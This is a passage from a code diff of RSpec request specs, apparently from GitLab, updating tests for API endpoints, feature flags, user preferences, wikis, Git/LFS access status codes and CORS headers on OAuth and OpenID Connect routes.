let(:headers) { user_headers.merge(workhorse_headers) }
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace, user: snowplow_user } }
+ let(:snowplow_user) do
+ if token_type == :deploy_token
+ deploy_token
+ elsif token_type == :job_token
+ job.user
+ else
+ user
+ end
+ end
before do
project.update_column(:visibility_level, Gitlab::VisibilityLevel.level_value(visibility.to_s))
diff --git a/spec/requests/api/services_spec.rb b/spec/requests/api/services_spec.rb
index 1f859622760..8701efcd65f 100644
--- a/spec/requests/api/services_spec.rb
+++ b/spec/requests/api/services_spec.rb
@@ -26,7 +26,7 @@ RSpec.describe API::Services do
context 'project with services' do
let!(:active_service) { create(:emails_on_push_service, project: project, active: true) }
- let!(:service) { create(:custom_issue_tracker_service, project: project, active: false) }
+ let!(:service) { create(:custom_issue_tracker_integration, project: project, active: false) }
it "returns a list of all active services" do
get api("/projects/#{project.id}/services", user)
diff --git a/spec/requests/api/settings_spec.rb b/spec/requests/api/settings_spec.rb
index 66c0dcaa36c..4a4aeaea714 100644
--- a/spec/requests/api/settings_spec.rb
+++ b/spec/requests/api/settings_spec.rb
@@ -113,6 +113,8 @@ RSpec.describe API::Settings, 'Settings', :do_not_mock_admin_mode_setting do
terms: 'Hello world!',
performance_bar_allowed_group_path: group.full_path,
diff_max_patch_bytes: 300_000,
+ diff_max_files: 2000,
+ diff_max_lines: 50000,
default_branch_protection: ::Gitlab::Access::PROTECTION_DEV_CAN_MERGE,
local_markdown_version: 3,
allow_local_requests_from_web_hooks_and_services: true,
@@ -159,6 +161,8 @@ RSpec.describe API::Settings, 'Settings', :do_not_mock_admin_mode_setting do
expect(json_response['terms']).to eq('Hello world!')
expect(json_response['performance_bar_allowed_group_id']).to eq(group.id)
expect(json_response['diff_max_patch_bytes']).to eq(300_000)
+ expect(json_response['diff_max_files']).to eq(2000)
+ expect(json_response['diff_max_lines']).to eq(50000)
expect(json_response['default_branch_protection']).to eq(Gitlab::Access::PROTECTION_DEV_CAN_MERGE)
expect(json_response['local_markdown_version']).to eq(3)
expect(json_response['allow_local_requests_from_web_hooks_and_services']).to eq(true)
diff --git a/spec/requests/api/tags_spec.rb b/spec/requests/api/tags_spec.rb
index 3c698cf577e..1aa1ad87be9 100644
--- a/spec/requests/api/tags_spec.rb
+++ b/spec/requests/api/tags_spec.rb
@@ -358,17 +358,6 @@ RSpec.describe API::Tags do
expect(json_response['message']).to eq('Target foo is invalid')
end
- context 'lightweight tags with release notes' do
- it 'creates a new tag' do
- post api(route, current_user), params: { tag_name: tag_name, ref: 'master', release_description: 'Wow' }
-
- expect(response).to have_gitlab_http_status(:created)
- expect(response).to match_response_schema('public_api/v4/tag')
- expect(json_response['name']).to eq(tag_name)
- expect(json_response['release']['description']).to eq('Wow')
- end
- end
-
context 'annotated tag' do
it 'creates a new annotated tag' do
# Identity must be set in .gitconfig to create annotated tag.
@@ -440,122 +429,4 @@ RSpec.describe API::Tags do
end
end
end
-
- describe 'POST /projects/:id/repository/tags/:tag_name/release' do
- let(:route) { "/projects/#{project_id}/repository/tags/#{tag_name}/release" }
- let(:description) { 'Awesome release!' }
-
- shared_examples_for 'repository new release' do
- it 'creates description for existing git tag' do
- post api(route, user), params: { description: description }
-
- expect(response).to have_gitlab_http_status(:created)
- expect(response).to match_response_schema('public_api/v4/release/tag_release')
- expect(json_response['tag_name']).to eq(tag_name)
- expect(json_response['description']).to eq(description)
- end
-
- context 'when tag does not exist' do
- let(:tag_name) { 'unknown' }
-
- it_behaves_like '404 response' do
- let(:request) { post api(route, current_user), params: { description: description } }
- let(:message) { '404 Tag Not Found' }
- end
- end
-
- context 'when repository is disabled' do
- include_context 'disabled repository'
-
- it_behaves_like '403 response' do
- let(:request) { post api(route, current_user), params: { description: description } }
- end
- end
- end
-
- context 'when authenticated', 'as a maintainer' do
- let(:current_user) { user }
-
- it_behaves_like 'repository new release'
-
- context 'requesting with the escaped project full path' do
- let(:project_id) { CGI.escape(project.full_path) }
-
- it_behaves_like 'repository new release'
- end
-
- context 'on tag with existing release' do
- let!(:release) { create(:release, :legacy, project: project, tag: tag_name, description: description) }
-
- it 'returns 409 if there is already a release' do
- post api(route, user), params: { description: description }
-
- expect(response).to have_gitlab_http_status(:conflict)
- expect(json_response['message']).to eq('Release already exists')
- end
- end
- end
- end
-
- describe 'PUT id/repository/tags/:tag_name/release' do
- let(:route) { "/projects/#{project_id}/repository/tags/#{tag_name}/release" }
- let(:description) { 'Awesome release!' }
- let(:new_description) { 'The best release!' }
-
- shared_examples_for 'repository update release' do
- context 'on tag with existing release' do
- let!(:release) do
- create(:release,
- :legacy,
- project: project,
- tag: tag_name,
- description: description)
- end
-
- it 'updates the release description' do
- put api(route, current_user), params: { description: new_description }
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['tag_name']).to eq(tag_name)
- expect(json_response['description']).to eq(new_description)
- end
- end
-
- context 'when tag does not exist' do
- let(:tag_name) { 'unknown' }
-
- it_behaves_like '403 response' do
- let(:request) { put api(route, current_user), params: { description: new_description } }
- let(:message) { '403 Forbidden' }
- end
- end
-
- context 'when repository is disabled' do
- include_context 'disabled repository'
-
- it_behaves_like '403 response' do
- let(:request) { put api(route, current_user), params: { description: new_description } }
- end
- end
- end
-
- context 'when authenticated', 'as a maintainer' do
- let(:current_user) { user }
-
- it_behaves_like 'repository update release'
-
- context 'requesting with the escaped project full path' do
- let(:project_id) { CGI.escape(project.full_path) }
-
- it_behaves_like 'repository update release'
- end
-
- context 'when release does not exist' do
- it_behaves_like '403 response' do
- let(:request) { put api(route, current_user), params: { description: new_description } }
- let(:message) { '403 Forbidden' }
- end
- end
- end
- end
end
diff --git a/spec/requests/api/terraform/modules/v1/packages_spec.rb b/spec/requests/api/terraform/modules/v1/packages_spec.rb
index d318b22cf27..b04f5ad9a94 100644
--- a/spec/requests/api/terraform/modules/v1/packages_spec.rb
+++ b/spec/requests/api/terraform/modules/v1/packages_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe API::Terraform::Modules::V1::Packages do
let_it_be(:package) { create(:terraform_module_package, project: project) }
let_it_be(:personal_access_token) { create(:personal_access_token) }
let_it_be(:user) { personal_access_token.user }
- let_it_be(:job) { create(:ci_build, :running, user: user) }
+ let_it_be(:job) { create(:ci_build, :running, user: user, project: project) }
let_it_be(:deploy_token) { create(:deploy_token, read_package_registry: true, write_package_registry: true) }
let_it_be(:project_deploy_token) { create(:project_deploy_token, deploy_token: deploy_token, project: project) }
@@ -188,6 +188,7 @@ RSpec.describe API::Terraform::Modules::V1::Packages do
with_them do
let(:token) { valid_token ? tokens[token_type] : 'invalid-token123' }
let(:url) { api("/packages/terraform/modules/v1/#{group.path}/#{package.name}/#{package.version}/file?token=#{token}") }
+ let(:snowplow_gitlab_standard_context) { { project: project, user: user, namespace: project.namespace } }
before do
group.update!(visibility: visibility.to_s)
@@ -330,6 +331,16 @@ RSpec.describe API::Terraform::Modules::V1::Packages do
let(:token) { valid_token ? tokens[token_type] : 'invalid-token123' }
let(:user_headers) { user_role == :anonymous ? {} : { token_header => token } }
let(:headers) { user_headers.merge(workhorse_headers) }
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace, user: snowplow_user } }
+ let(:snowplow_user) do
+ if token_type == :deploy_token
+ deploy_token
+ elsif token_type == :job_token
+ job.user
+ else
+ user
+ end
+ end
before do
project.update!(visibility: visibility.to_s)
diff --git a/spec/requests/api/terraform/state_spec.rb b/spec/requests/api/terraform/state_spec.rb
index 2cb3c8e9ab5..5d2635126e8 100644
--- a/spec/requests/api/terraform/state_spec.rb
+++ b/spec/requests/api/terraform/state_spec.rb
@@ -25,10 +25,6 @@ RSpec.describe API::Terraform::State do
context 'without authentication' do
let(:auth_header) { basic_auth_header('bad', 'token') }
- before do
- stub_feature_flags(usage_data_p_terraform_state_api_unique_users: false)
- end
-
it 'does not track unique event' do
expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event)
@@ -156,15 +152,6 @@ RSpec.describe API::Terraform::State do
expect(response).to have_gitlab_http_status(:ok)
expect(Gitlab::Json.parse(response.body)).to be_empty
end
-
- context 'on Unicorn', :unicorn do
- it 'updates the state' do
- expect { request }.to change { Terraform::State.count }.by(0)
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(Gitlab::Json.parse(response.body)).to be_empty
- end
- end
end
context 'without body' do
@@ -200,15 +187,6 @@ RSpec.describe API::Terraform::State do
expect(response).to have_gitlab_http_status(:ok)
expect(Gitlab::Json.parse(response.body)).to be_empty
end
-
- context 'on Unicorn', :unicorn do
- it 'creates a new state' do
- expect { request }.to change { Terraform::State.count }.by(1)
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(Gitlab::Json.parse(response.body)).to be_empty
- end
- end
end
context 'without body' do
diff --git a/spec/requests/api/unleash_spec.rb b/spec/requests/api/unleash_spec.rb
index 0b70d62b093..9989f8d28bd 100644
--- a/spec/requests/api/unleash_spec.rb
+++ b/spec/requests/api/unleash_spec.rb
@@ -176,34 +176,9 @@ RSpec.describe API::Unleash do
it_behaves_like 'authenticated request'
context 'with version 1 (legacy) feature flags' do
- let(:feature_flag) { create(:operations_feature_flag, project: project, name: 'feature1', active: true, version: 1) }
+ let(:feature_flag) { create(:operations_feature_flag, :legacy_flag, project: project, name: 'feature1', active: true, version: 1) }
- it_behaves_like 'support multiple environments'
-
- context 'with a list of feature flags' do
- let(:headers) { { "UNLEASH-INSTANCEID" => client.token, "UNLEASH-APPNAME" => "production" } }
- let!(:enabled_feature_flag) { create(:operations_feature_flag, project: project, name: 'feature1', active: true, version: 1) }
- let!(:disabled_feature_flag) { create(:operations_feature_flag, project: project, name: 'feature2', active: false, version: 1) }
-
- it 'responds with a list of features' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['version']).to eq(1)
- expect(json_response['features']).not_to be_empty
- expect(json_response['features'].map { |f| f['name'] }.sort).to eq(%w[feature1 feature2])
- expect(json_response['features'].sort_by {|f| f['name'] }.map { |f| f['enabled'] }).to eq([true, false])
- end
-
- it 'matches json schema' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to match_response_schema('unleash/unleash')
- end
- end
-
- it 'returns a feature flag strategy' do
+ it 'does not return a legacy feature flag' do
create(:operations_feature_flag_scope,
feature_flag: feature_flag,
environment_scope: 'sandbox',
@@ -215,81 +190,7 @@ RSpec.describe API::Unleash do
get api(features_url), headers: headers
expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['features'].first['enabled']).to eq(true)
- strategies = json_response['features'].first['strategies']
- expect(strategies).to eq([{
- "name" => "gradualRolloutUserId",
- "parameters" => {
- "percentage" => "50",
- "groupId" => "default"
- }
- }])
- end
-
- it 'returns a default strategy for a scope' do
- create(:operations_feature_flag_scope, feature_flag: feature_flag, environment_scope: 'sandbox', active: true)
- headers = { "UNLEASH-INSTANCEID" => client.token, "UNLEASH-APPNAME" => "sandbox" }
-
- get api(features_url), headers: headers
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['features'].first['enabled']).to eq(true)
- strategies = json_response['features'].first['strategies']
- expect(strategies).to eq([{ "name" => "default", "parameters" => {} }])
- end
-
- it 'returns multiple strategies for a feature flag' do
- create(:operations_feature_flag_scope,
- feature_flag: feature_flag,
- environment_scope: 'staging',
- active: true,
- strategies: [{ name: "userWithId", parameters: { userIds: "max,fred" } },
- { name: "gradualRolloutUserId",
- parameters: { groupId: "default", percentage: "50" } }])
- headers = { "UNLEASH-INSTANCEID" => client.token, "UNLEASH-APPNAME" => "staging" }
-
- get api(features_url), headers: headers
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['features'].first['enabled']).to eq(true)
- strategies = json_response['features'].first['strategies'].sort_by { |s| s['name'] }
- expect(strategies).to eq([{
- "name" => "gradualRolloutUserId",
- "parameters" => {
- "percentage" => "50",
- "groupId" => "default"
- }
- }, {
- "name" => "userWithId",
- "parameters" => {
- "userIds" => "max,fred"
- }
- }])
- end
-
- it 'returns a disabled feature when the flag is disabled' do
- flag = create(:operations_feature_flag, project: project, name: 'test_feature', active: false, version: 1)
- create(:operations_feature_flag_scope, feature_flag: flag, environment_scope: 'production', active: true)
- headers = { "UNLEASH-INSTANCEID" => client.token, "UNLEASH-APPNAME" => "production" }
-
- get api(features_url), headers: headers
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['features'].first['enabled']).to eq(false)
- end
-
- context "with an inactive scope" do
- let!(:scope) { create(:operations_feature_flag_scope, feature_flag: feature_flag, environment_scope: 'production', active: false, strategies: [{ name: "default", parameters: {} }]) }
- let(:headers) { { "UNLEASH-INSTANCEID" => client.token, "UNLEASH-APPNAME" => "production" } }
-
- it 'returns a disabled feature' do
- get api(features_url), headers: headers
-
- expect(response).to have_gitlab_http_status(:ok)
- feature_json = json_response['features'].first
- expect(feature_json['enabled']).to eq(false)
- expect(feature_json['strategies']).to eq([{ 'name' => 'default', 'parameters' => {} }])
- end
+ expect(json_response['features']).to be_empty
end
end
@@ -534,63 +435,6 @@ RSpec.describe API::Unleash do
}])
end
end
-
- context 'when mixing version 1 and version 2 feature flags' do
- it 'returns both types of flags when both match' do
- feature_flag_a = create(:operations_feature_flag, project: project,
- name: 'feature_a', active: true, version: 2)
- strategy = create(:operations_strategy, feature_flag: feature_flag_a,
- name: 'userWithId', parameters: { userIds: 'user8' })
- create(:operations_scope, strategy: strategy, environment_scope: 'staging')
- feature_flag_b = create(:operations_feature_flag, project: project,
- name: 'feature_b', active: true, version: 1)
- create(:operations_feature_flag_scope, feature_flag: feature_flag_b,
- active: true, strategies: [{ name: 'default', parameters: {} }], environment_scope: 'staging')
-
- get api(features_url), headers: { 'UNLEASH-INSTANCEID' => client.token, 'UNLEASH-APPNAME' => 'staging' }
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['features'].sort_by {|f| f['name']}).to eq([{
- 'name' => 'feature_a',
- 'enabled' => true,
- 'strategies' => [{
- 'name' => 'userWithId',
- 'parameters' => { 'userIds' => 'user8' }
- }]
- }, {
- 'name' => 'feature_b',
- 'enabled' => true,
- 'strategies' => [{
- 'name' => 'default',
- 'parameters' => {}
- }]
- }])
- end
-
- it 'returns legacy flags when only legacy flags match' do
- feature_flag_a = create(:operations_feature_flag, project: project,
- name: 'feature_a', active: true, version: 2)
- strategy = create(:operations_strategy, feature_flag: feature_flag_a,
- name: 'userWithId', parameters: { userIds: 'user8' })
- create(:operations_scope, strategy: strategy, environment_scope: 'production')
- feature_flag_b = create(:operations_feature_flag, project: project,
- name: 'feature_b', active: true, version: 1)
- create(:operations_feature_flag_scope, feature_flag: feature_flag_b,
- active: true, strategies: [{ name: 'default', parameters: {} }], environment_scope: 'staging')
-
- get api(features_url), headers: { 'UNLEASH-INSTANCEID' => client.token, 'UNLEASH-APPNAME' => 'staging' }
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['features']).to eq([{
- 'name' => 'feature_b',
- 'enabled' => true,
- 'strategies' => [{
- 'name' => 'default',
- 'parameters' => {}
- }]
- }])
- end
- end
end
end
diff --git a/spec/requests/api/users_preferences_spec.rb b/spec/requests/api/users_preferences_spec.rb
index db03786ed2a..97e37263ee6 100644
--- a/spec/requests/api/users_preferences_spec.rb
+++ b/spec/requests/api/users_preferences_spec.rb
@@ -8,11 +8,19 @@ RSpec.describe API::Users do
describe 'PUT /user/preferences/' do
context "with correct attributes and a logged in user" do
it 'returns a success status and the value has been changed' do
- put api("/user/preferences", user), params: { view_diffs_file_by_file: true }
+ put api("/user/preferences", user), params: {
+ view_diffs_file_by_file: true,
+ show_whitespace_in_diffs: true
+ }
expect(response).to have_gitlab_http_status(:ok)
expect(json_response['view_diffs_file_by_file']).to eq(true)
- expect(user.reload.view_diffs_file_by_file).to be_truthy
+ expect(json_response['show_whitespace_in_diffs']).to eq(true)
+
+ user.reload
+
+ expect(user.view_diffs_file_by_file).to be_truthy
+ expect(user.show_whitespace_in_diffs).to be_truthy
end
end
diff --git a/spec/requests/api/users_spec.rb b/spec/requests/api/users_spec.rb
index 71fdd986f20..a9231b65c8f 100644
--- a/spec/requests/api/users_spec.rb
+++ b/spec/requests/api/users_spec.rb
@@ -2077,6 +2077,29 @@ RSpec.describe API::Users do
it_behaves_like 'get user info', 'v4'
end
+ describe "GET /user/preferences" do
+ context "when unauthenticated" do
+ it "returns authentication error" do
+ get api("/user/preferences")
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context "when authenticated" do
+ it "returns user preferences" do
+ user.user_preference.view_diffs_file_by_file = false
+ user.user_preference.show_whitespace_in_diffs = true
+ user.save!
+
+ get api("/user/preferences", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response["view_diffs_file_by_file"]).to eq(user.user_preference.view_diffs_file_by_file)
+ expect(json_response["show_whitespace_in_diffs"]).to eq(user.user_preference.show_whitespace_in_diffs)
+ end
+ end
+ end
+
describe "GET /user/keys" do
context "when unauthenticated" do
it "returns authentication error" do
diff --git a/spec/requests/api/wikis_spec.rb b/spec/requests/api/wikis_spec.rb
index d35aab40ca9..64fde3db19f 100644
--- a/spec/requests/api/wikis_spec.rb
+++ b/spec/requests/api/wikis_spec.rb
@@ -16,8 +16,19 @@ RSpec.describe API::Wikis do
include WorkhorseHelpers
include AfterNextHelpers
- let(:user) { create(:user) }
- let(:group) { create(:group).tap { |g| g.add_owner(user) } }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group).tap { |g| g.add_owner(user) } }
+ let_it_be(:group_project) { create(:project, :wiki_repo, namespace: group) }
+
+ let_it_be(:developer) { create(:user) }
+ let_it_be(:maintainer) { create(:user) }
+ let_it_be(:project_wiki_disabled) do
+ create(:project, :wiki_repo, :wiki_disabled).tap do |project|
+ project.add_developer(developer)
+ project.add_maintainer(maintainer)
+ end
+ end
+
let(:project_wiki) { create(:project_wiki, project: project, user: user) }
let(:payload) { { content: 'content', format: 'rdoc', title: 'title' } }
let(:expected_keys_with_content) { %w(content format slug title) }
@@ -32,7 +43,7 @@ RSpec.describe API::Wikis do
let(:url) { "/projects/#{project.id}/wikis" }
context 'when wiki is disabled' do
- let(:project) { create(:project, :wiki_repo, :wiki_disabled) }
+ let(:project) { project_wiki_disabled }
context 'when user is guest' do
before do
@@ -44,9 +55,7 @@ RSpec.describe API::Wikis do
context 'when user is developer' do
before do
- project.add_developer(user)
-
- get api(url, user)
+ get api(url, developer)
end
include_examples 'wiki API 403 Forbidden'
@@ -54,9 +63,7 @@ RSpec.describe API::Wikis do
context 'when user is maintainer' do
before do
- project.add_maintainer(user)
-
- get api(url, user)
+ get api(url, maintainer)
end
include_examples 'wiki API 403 Forbidden'
@@ -125,7 +132,7 @@ RSpec.describe API::Wikis do
let(:url) { "/projects/#{project.id}/wikis/#{page.slug}" }
context 'when wiki is disabled' do
- let(:project) { create(:project, :wiki_repo, :wiki_disabled) }
+ let(:project) { project_wiki_disabled }
context 'when user is guest' do
before do
@@ -137,9 +144,7 @@ RSpec.describe API::Wikis do
context 'when user is developer' do
before do
- project.add_developer(user)
-
- get api(url, user)
+ get api(url, developer)
end
include_examples 'wiki API 403 Forbidden'
@@ -147,9 +152,7 @@ RSpec.describe API::Wikis do
context 'when user is maintainer' do
before do
- project.add_maintainer(user)
-
- get api(url, user)
+ get api(url, maintainer)
end
include_examples 'wiki API 403 Forbidden'
@@ -249,7 +252,7 @@ RSpec.describe API::Wikis do
let(:url) { "/projects/#{project.id}/wikis" }
context 'when wiki is disabled' do
- let(:project) { create(:project, :wiki_disabled, :wiki_repo) }
+ let(:project) { project_wiki_disabled }
context 'when user is guest' do
before do
@@ -261,8 +264,7 @@ RSpec.describe API::Wikis do
context 'when user is developer' do
before do
- project.add_developer(user)
- post(api(url, user), params: payload)
+ post(api(url, developer), params: payload)
end
include_examples 'wiki API 403 Forbidden'
@@ -270,8 +272,7 @@ RSpec.describe API::Wikis do
context 'when user is maintainer' do
before do
- project.add_maintainer(user)
- post(api(url, user), params: payload)
+ post(api(url, maintainer), params: payload)
end
include_examples 'wiki API 403 Forbidden'
@@ -469,7 +470,7 @@ RSpec.describe API::Wikis do
end
context 'when wiki belongs to a group project' do
- let(:project) { create(:project, :wiki_repo, namespace: group) }
+ let(:project) { group_project }
include_examples 'wikis API updates wiki page'
end
diff --git a/spec/requests/git_http_spec.rb b/spec/requests/git_http_spec.rb
index 279c65fc2f4..7cf46f6adc6 100644
--- a/spec/requests/git_http_spec.rb
+++ b/spec/requests/git_http_spec.rb
@@ -883,10 +883,10 @@ RSpec.describe 'Git HTTP requests' do
context 'when admin mode is enabled', :enable_admin_mode do
it_behaves_like 'can download code only'
- it 'downloads from other project get status 403' do
+ it 'downloads from other project get status 404' do
clone_get "#{other_project.full_path}.git", user: 'gitlab-ci-token', password: build.token
- expect(response).to have_gitlab_http_status(:forbidden)
+ expect(response).to have_gitlab_http_status(:not_found)
end
end
diff --git a/spec/requests/groups/email_campaigns_controller_spec.rb b/spec/requests/groups/email_campaigns_controller_spec.rb
index 48297ec4cb6..4d630ef6710 100644
--- a/spec/requests/groups/email_campaigns_controller_spec.rb
+++ b/spec/requests/groups/email_campaigns_controller_spec.rb
@@ -9,10 +9,11 @@ RSpec.describe Groups::EmailCampaignsController do
let_it_be(:group) { create(:group) }
let_it_be(:project) { create(:project, group: group) }
let_it_be(:user) { create(:user) }
+
let(:track) { 'create' }
let(:series) { '0' }
let(:schema) { described_class::EMAIL_CAMPAIGNS_SCHEMA_URL }
- let(:subject_line_text) { Gitlab::Email::Message::InProductMarketing.for(track.to_sym).new(group: group, series: series.to_i).subject_line }
+ let(:subject_line_text) { Gitlab::Email::Message::InProductMarketing.for(track.to_sym).new(group: group, user: user, series: series.to_i).subject_line }
let(:data) do
{
namespace_id: group.id,
@@ -51,7 +52,9 @@ RSpec.describe Groups::EmailCampaignsController do
context: [{
schema: described_class::EMAIL_CAMPAIGNS_SCHEMA_URL,
data: { namespace_id: group.id, series: series.to_i, subject_line: subject_line_text, track: track.to_s }
- }]
+ }],
+ user: user,
+ namespace: group
)
end
@@ -91,7 +94,7 @@ RSpec.describe Groups::EmailCampaignsController do
describe 'track parameter' do
context 'when valid' do
- where(track: Namespaces::InProductMarketingEmailsService::TRACKS.keys)
+ where(track: Namespaces::InProductMarketingEmailsService::TRACKS.keys.without(:experience))
with_them do
it_behaves_like 'track and redirect'
@@ -109,7 +112,7 @@ RSpec.describe Groups::EmailCampaignsController do
describe 'series parameter' do
context 'when valid' do
- where(series: (0..Namespaces::InProductMarketingEmailsService::INTERVAL_DAYS.length - 1).to_a)
+ where(series: (0..Namespaces::InProductMarketingEmailsService::TRACKS[:create][:interval_days].length - 1).to_a)
with_them do
it_behaves_like 'track and redirect'
@@ -117,7 +120,7 @@ RSpec.describe Groups::EmailCampaignsController do
end
context 'when invalid' do
- where(series: [-1, nil, Namespaces::InProductMarketingEmailsService::INTERVAL_DAYS.length])
+ where(series: [-1, nil, Namespaces::InProductMarketingEmailsService::TRACKS[:create][:interval_days].length])
with_them do
it_behaves_like 'no track and 404'
diff --git a/spec/requests/lfs_http_spec.rb b/spec/requests/lfs_http_spec.rb
index 0e3a0252638..fda8b2ecec6 100644
--- a/spec/requests/lfs_http_spec.rb
+++ b/spec/requests/lfs_http_spec.rb
@@ -569,7 +569,7 @@ RSpec.describe 'Git LFS API and storage' do
let(:pipeline) { create(:ci_empty_pipeline, project: other_project) }
# I'm not sure what this tests that is different from the previous test
- it_behaves_like 'LFS http 403 response'
+ it_behaves_like 'LFS http 404 response'
end
end
@@ -1043,7 +1043,7 @@ RSpec.describe 'Git LFS API and storage' do
let(:pipeline) { create(:ci_empty_pipeline, project: other_project) }
# I'm not sure what this tests that is different from the previous test
- it_behaves_like 'LFS http 403 response'
+ it_behaves_like 'LFS http 404 response'
end
end
diff --git a/spec/requests/oauth/tokens_controller_spec.rb b/spec/requests/oauth/tokens_controller_spec.rb
index c3cdae2cd21..1967d0ba8b1 100644
--- a/spec/requests/oauth/tokens_controller_spec.rb
+++ b/spec/requests/oauth/tokens_controller_spec.rb
@@ -3,12 +3,71 @@
require 'spec_helper'
RSpec.describe Oauth::TokensController do
- it 'allows cross-origin POST requests' do
- post '/oauth/token', headers: { 'Origin' => 'http://notgitlab.com' }
+ let(:cors_request_headers) { { 'Origin' => 'http://notgitlab.com' } }
+ let(:other_headers) { {} }
+ let(:headers) { cors_request_headers.merge(other_headers)}
- expect(response.headers['Access-Control-Allow-Origin']).to eq '*'
- expect(response.headers['Access-Control-Allow-Methods']).to eq 'POST'
- expect(response.headers['Access-Control-Allow-Headers']).to be_nil
- expect(response.headers['Access-Control-Allow-Credentials']).to be_nil
+ shared_examples 'cross-origin POST request' do
+ it 'allows cross-origin requests' do
+ expect(response.headers['Access-Control-Allow-Origin']).to eq '*'
+ expect(response.headers['Access-Control-Allow-Methods']).to eq 'POST'
+ expect(response.headers['Access-Control-Allow-Headers']).to be_nil
+ expect(response.headers['Access-Control-Allow-Credentials']).to be_nil
+ end
+ end
+
+ shared_examples 'CORS preflight OPTIONS request' do
+ it 'returns 200' do
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ it 'allows cross-origin requests' do
+ expect(response.headers['Access-Control-Allow-Origin']).to eq '*'
+ expect(response.headers['Access-Control-Allow-Methods']).to eq 'POST'
+ expect(response.headers['Access-Control-Allow-Headers']).to eq 'Authorization'
+ expect(response.headers['Access-Control-Allow-Credentials']).to be_nil
+ end
+ end
+
+ describe 'POST /oauth/token' do
+ before do
+ post '/oauth/token', headers: headers
+ end
+
+ it_behaves_like 'cross-origin POST request'
+ end
+
+ describe 'OPTIONS /oauth/token' do
+ let(:other_headers) { { 'Access-Control-Request-Headers' => 'Authorization', 'Access-Control-Request-Method' => 'POST' } }
+
+ before do
+ options '/oauth/token', headers: headers
+ end
+
+ it_behaves_like 'CORS preflight OPTIONS request'
+ end
+
+ describe 'POST /oauth/revoke' do
+ let(:other_headers) { { 'Content-Type' => 'application/x-www-form-urlencoded' } }
+
+ before do
+ post '/oauth/revoke', headers: headers, params: { token: '12345' }
+ end
+
+ it 'returns 200' do
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ it_behaves_like 'cross-origin POST request'
+ end
+
+ describe 'OPTIONS /oauth/revoke' do
+ let(:other_headers) { { 'Access-Control-Request-Headers' => 'Authorization', 'Access-Control-Request-Method' => 'POST' } }
+
+ before do
+ options '/oauth/revoke', headers: headers
+ end
+
+ it_behaves_like 'CORS preflight OPTIONS request'
end
end
diff --git a/spec/requests/openid_connect_spec.rb b/spec/requests/openid_connect_spec.rb
index 7b682d76150..5bf786f2290 100644
--- a/spec/requests/openid_connect_spec.rb
+++ b/spec/requests/openid_connect_spec.rb
@@ -41,6 +41,8 @@ RSpec.describe 'OpenID Connect requests' do
}
end
+ let(:cors_request_headers) { { 'Origin' => 'http://notgitlab.com' } }
+
def request_access_token!
login_as user
@@ -81,6 +83,24 @@ RSpec.describe 'OpenID Connect requests' do
end
end
+ shared_examples 'cross-origin GET request' do
+ it 'allows cross-origin request' do
+ expect(response.headers['Access-Control-Allow-Origin']).to eq '*'
+ expect(response.headers['Access-Control-Allow-Methods']).to eq 'GET, HEAD'
+ expect(response.headers['Access-Control-Allow-Headers']).to be_nil
+ expect(response.headers['Access-Control-Allow-Credentials']).to be_nil
+ end
+ end
+
+ shared_examples 'cross-origin GET and POST request' do
+ it 'allows cross-origin request' do
+ expect(response.headers['Access-Control-Allow-Origin']).to eq '*'
+ expect(response.headers['Access-Control-Allow-Methods']).to eq 'GET, HEAD, POST'
+ expect(response.headers['Access-Control-Allow-Headers']).to be_nil
+ expect(response.headers['Access-Control-Allow-Credentials']).to be_nil
+ end
+ end
+
context 'Application with OpenID scope' do
let(:application) { create :oauth_application, scopes: 'openid' }
@@ -180,6 +200,51 @@ RSpec.describe 'OpenID Connect requests' do
expect(response).to redirect_to('/users/sign_in')
end
end
+
+ context 'OpenID Discovery keys' do
+ context 'with a cross-origin request' do
+ before do
+ get '/oauth/discovery/keys', headers: cors_request_headers
+ end
+
+ it 'returns data' do
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ it_behaves_like 'cross-origin GET request'
+ end
+
+ context 'with a cross-origin preflight OPTIONS request' do
+ before do
+ options '/oauth/discovery/keys', headers: cors_request_headers
+ end
+
+ it_behaves_like 'cross-origin GET request'
+ end
+ end
+
+ context 'OpenID WebFinger endpoint' do
+ context 'with a cross-origin request' do
+ before do
+ get '/.well-known/webfinger', headers: cors_request_headers, params: { resource: 'user@example.com' }
+ end
+
+ it 'returns data' do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['subject']).to eq('user@example.com')
+ end
+
+ it_behaves_like 'cross-origin GET request'
+ end
+ end
+
+ context 'with a cross-origin preflight OPTIONS request' do
+ before do
+ options '/.well-known/webfinger', headers: cors_request_headers, params: { resource: 'user@example.com' }
+ end
+
+ it_behaves_like 'cross-origin GET request'
+ end
end
context 'OpenID configuration information' do
@@ -191,6 +256,27 @@ RSpec.describe 'OpenID Connect requests' do
expect(json_response['jwks_uri']).to eq('http://www.example.com/oauth/discovery/keys')
expect(json_response['scopes_supported']).to eq(%w[api read_user read_api read_repository write_repository sudo openid profile email])
end
+
+ context 'with a cross-origin request' do
+ before do
+ get '/.well-known/openid-configuration', headers: cors_request_headers
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response['issuer']).to eq('http://localhost')
+ expect(json_response['jwks_uri']).to eq('http://www.example.com/oauth/discovery/keys')
+ expect(json_response['scopes_supported']).to eq(%w[api read_user read_api read_repository write_repository sudo openid profile email])
+ end
+
+ it_behaves_like 'cross-origin GET request'
+ end
+
